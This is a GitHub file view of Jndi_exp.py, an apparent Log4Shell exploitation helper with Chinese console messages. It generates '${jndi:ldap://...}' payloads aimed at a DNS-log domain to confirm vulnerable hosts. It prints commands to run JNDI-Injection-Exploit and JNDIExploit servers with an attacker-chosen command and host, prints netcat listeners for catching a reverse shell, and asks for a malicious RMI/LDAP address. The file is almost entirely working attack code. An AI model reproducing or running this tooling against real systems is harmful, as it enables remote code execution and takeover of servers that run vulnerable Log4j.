-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathJndi_exp.py
33 lines (24 loc) · 1.01 KB
/
Jndi_exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import time
from Dnslog import Dnslog
class Jndi_exp():
def getdns_payload(self):
self.dnslog = Dnslog()
payload = "${jndi:ldap://" + str(self.dnslog.get_domain()) + "}"
print("jndi生成:"+payload)
return payload
def getdns_logs(self):
print("等待3s...")
time.sleep(3)
if len(self.dnslog.get_logs()) < 1:
print("[*]" + str(self.dnslog.get_domain()) + "没有接收记录,漏洞不存在")
else:
print("[*]存在漏洞 log信息如下:\n" + str(self.dnslog.get_logs()))
def get_server1(self, command, host, port):
print("服务端运行:\njava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \""+command+"\" -A "+host)
print("nc -lvvp "+port)
hack_rmi_or_ldap = input("输入恶意rmi/ldap地址:")
return hack_rmi_or_ldap
def get_server2(host, port):
print("服务端运行:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i "+host)
print("nc -lvvp "+port)